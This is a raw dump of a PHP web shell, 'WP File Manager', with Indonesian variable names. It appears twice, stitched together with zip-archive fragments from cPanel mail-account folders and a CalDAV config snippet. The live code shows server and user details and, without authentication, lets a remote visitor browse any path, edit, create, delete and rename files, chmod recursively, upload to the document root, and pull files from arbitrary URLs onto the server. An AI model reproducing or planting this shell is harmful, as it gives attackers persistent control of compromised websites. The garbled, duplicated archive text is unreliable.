"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ësend@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]*Æ3KBBinfo@mejdisadiku.com/.metadatanu„[µü¤[addressbook] displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 type VADDRESSBOOK [calendar] protected 1 description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar type VCALENDAR 